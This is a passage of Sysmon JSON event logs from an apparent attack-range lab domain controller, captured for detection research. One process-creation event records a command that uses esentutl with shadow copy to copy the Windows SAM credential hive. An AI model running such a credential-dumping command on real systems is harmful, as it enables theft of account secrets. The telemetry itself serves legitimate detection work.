11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5394,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.206\r\nProcessGuid: {90617006-4170-5F2D-0000-00105A4F0800}\r\nProcessId: 4852\r\nImage: C:\\Windows\\System32\\esentutl.exe\r\nFileVersion: 10.0.14393.2999 (rs1_release_inmarket.190520-1518)\r\nDescription: Extensible Storage Engine Utilities for Microsoft(R) Windows(R)\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: esentutl.exe\r\nCommandLine: esentutl.exe /y /vss C:\\Windows/system32/config/SAM /d C:\\Windows/SAM \r\nCurrentDirectory: C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-416D-5F2D-0000-00205A000800}\r\nLogonId: 0x8005A\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=D4CD32ECE6D3DC2F2B32A45F828078DE,SHA256=6363FBBDB2E8AA68E11D12CF20EE008A86517D93BA155B1A32B5DC9A7AF61876,IMPHASH=EC424EB25811EEF5994A757639D7391F\r\nParentProcessGuid: {90617006-4170-5F2D-0000-0010A14E0800}\r\nParentProcessId: 2692\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: \"C:\\Windows\\system32\\cmd.exe\" /c \"del %windir%\\SAM & esentutl.exe /y /vss %SystemRoot%/system32/config/SAM /d %windir%/SAM\" ","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.206","ProcessGuid":"{90617006-4170-5F2D-0000-00105A4F0800}","Image":"C:\\Windows\\System32\\esentutl.exe","FileVersion":"10.0.14393.2999 (rs1_release_inmarket.190520-1518)","Description":"Extensible Storage Engine Utilities for Microsoft(R) Windows(R)","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"esentutl.exe","CommandLine":"esentutl.exe /y /vss C:\\Windows/system32/config/SAM /d C:\\Windows/SAM ","CurrentDirectory":"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-416D-5F2D-0000-00205A000800}","LogonId":"0x8005a","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=D4CD32ECE6D3DC2F2B32A45F828078DE,SHA256=6363FBBDB2E8AA68E11D12CF20EE008A86517D93BA155B1A32B5DC9A7AF61876,IMPHASH=EC424EB25811EEF5994A757639D7391F","ParentProcessGuid":"{90617006-4170-5F2D-0000-0010A14E0800}","ParentProcessId":"2692","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" /c \"del %windir%\\SAM & esentutl.exe /y /vss %SystemRoot%/system32/config/SAM /d %windir%/SAM\" ","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5395,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.197\r\nSourceProcessGUID: {90617006-4170-5F2D-0000-0010A14E0800}\r\nSourceProcessId: 2692\r\nSourceThreadId: 4708\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+c347|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.197","SourceProcessGUID":"{90617006-4170-5F2D-0000-0010A14E0800}","SourceProcessId":"2692","SourceThreadId":"4708","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+c347|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5396,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.197\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.197","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5397,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.197\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.197","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5398,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.197\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.197","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5399,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.213\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.213","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5400,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.213\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.213","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5401,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.213\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.213","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5402,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.213\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 